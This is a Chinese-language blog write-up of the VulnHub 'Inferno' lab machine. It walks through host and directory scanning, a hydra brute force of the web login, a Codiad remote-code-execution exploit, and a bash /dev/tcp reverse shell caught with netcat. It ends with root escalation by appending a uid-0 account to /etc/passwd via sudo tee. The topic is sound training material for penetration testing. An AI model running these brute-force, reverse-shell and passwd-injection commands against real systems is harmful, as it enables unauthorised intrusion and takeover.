靶机下载地址: https://www.vulnhub.com/entry/inferno-11,603/
教程链接地址: https://blog.csdn.net/weixin_50688050/article/details/119902735

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 INFERNO:桥接于 192.168.31.1 的网卡,ip 未知

1 )确定靶机 ip 地址和开放的端口
由已至内网靶机所在主机 MAC 地址自动扫描靶机服务
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | xargs sudo nmap -PA

Image

-> 靶机 ip:192.168.31.25 靶机开放端口 22,80

# 网站信息收集

打开 http://192.168.31.25/ 进行信息收集

Image

目录扫描 gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.31.25/

Image

发现了一个敏感的地址,进入后需要发现认证:http://192.168.31.25/inferno

Image

也没有别的办法了,只能对这个页面进行爆破用户名和密码

# hydra 爆破网站后台

利用 hydra 选取合适的用户名字典进行爆破
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt 192.168.31.2 5 -f http-get /inferno/ -t 64 -f -vV -o hydra.ssh

Image

这个爆破时间是比较长的,每一个用户名都要匹配几百万次,是非常慢的因为大部分网站的用户名都是 admin,此处我们直接用 admin 爆破,可以简化很多事情,但是每一次只能爆破 64 个,速度也是不容乐观的
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.31.221 -f http-get /inferno/ -t 64 -f -vV -o hydra.ssh

Image

等待大概两三个小时差不多就出结果了

凭借 admin:dante1 可进入网站第一层认证结束之后,还有第二层认证,但是好在第一层和第二层的用户名和密码是相同的输入 admin:dante1 后成功进入网站后台

Image

# 文件上传尝试

这是一些 php 的源码文件,代码审计后没有发现突破口

Image

右键可以上传文件,可以上传一个 php 文件看看什么效果

Image

上传 shell.php 文件用来反弹 shell

Image

找了大半天根本找不到 shell.php 上传的位置,只能放弃这个方法

Image

但是仔细观察的话,发现这个网站的 header 的部分,有一个 codiad,这是一个框架,可以去搜索这个框架自身有没有漏洞

Image

# codiad RCE 漏洞

本地直接用 searchsploit 搜寻 codiad 发现了是存在 RCE 漏洞

Image

-x 确定 exp 的位置,将 exp 复制到自己的目录下

Image

直接用 py 运行此程序,看一下使用说明

Image

依据使用说明,构造好命令
python exploit.py http://admin:dante1@192.168.31.25/inferno/ admin dante1 192.168.31.83 4444 linux
echo 'bash -c "bash -i >/dev/tcp/192.168.31.135/4445 0>&1 2>&1"' | nc -lnvp 4444
nc -lnvp 4444

在 http: 后面加了 admin:dante1@是为了突破第一层的认证,因为进入该网站需要两次认证,认证了第一次之后才会进入到 codiad 页面,否则显示未授权

Image

显示是失败的,不知道什么原因,但是在实际测试中,经常会碰到这样的情况,这时就需要在去寻找新的 payload 进行利用

找到了一个 RCE 漏洞的脚本: https://github.com/WangYihang/Codiad-Remote-Code-Execute-Exploit

Image

python exploit.py http://192.168.31.25/inferno/ admin dante1 192.168.31.83 4444 linux

Image

没有加第一层认证回显了未授权 python exploit.py http://admin:dante1@192.168.31.25/inferno/) admin dante1 192.168.31.83 4444 linux

Image

在 4445 端口处接收到了反弹的 shell, 拿到了网站的 webshell, 依据下面三个命令输出为一个标准的 shell

Image

# 十六进制换算

看了 /etc/passwd 发现我们需要先拿到 dante 用户的权限再去拿 root 权限

Image

搜寻目录,在 dante 的 Downloads 文件下找到了一个.download.daty 隐藏文件,打开之后看到是一串 16 进制的数据,需要解密

Image

在 CyberChef 上进行解密,from Hex 得到了 dante 用户的密码 V1rg1l10h3lpm3

Image

在密码的最后有个小数点,并不知道这个小数点是否参与了密码,但是试两次就知道结果了 V1rg1l10h3lpm3. 或者 V1rg1l10h3lpm3

Image

凭借第二个密码拿到了 dante 用户的 shell

# TERM 设置

输入 clear 时显示 TERM 变量没有设置,我们只需要通过 export 命令将 TERM 改为 xterm 即可解决这个终端美化问题

Image

# tee 权限错误写 passwd

sudo -l 看到直接调用 tee 命令写入文件

Image

在 gtfobins 上看到了使用 tee 提权的代码如下,先设置一个本地的文件,将自己的一些数据追加到本地的文件里边,基于此,构造一个 SHA512 的密码,直接往 /etc/passwd 里边添加一个 root 账户

Image

利用 kali 机器生成一个 SHA512 的值,密码为 123456 mkpasswd --method=SHA-512 --stdin

Image

在靶机上依次执行下列命令,报错先不管

1
2
3
4
5
6
7
# 写入新的享有root功能的用户test 2 并验证是否写入成功
LFILE=/etc/passwd
echo 'test2:$6$/VIJFJppMzTLzIjH$fnPPrC8J2dR8Fei748mY5MNaETVedvIoFgAXA8c33GThHZ2Cy7cflwv9Eo5xZJGWLHir1J.jh3VnnaBMkP74/0:0:0:root:/root:/bin/bash' | sudo tee -a "$LFILE"
cat /etc/passwd | grep /bin/bash

# 依据新建的用户进入其shell
su test2 123456
Image

-> 结果显示我们当前已经拿到了 root 账户

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝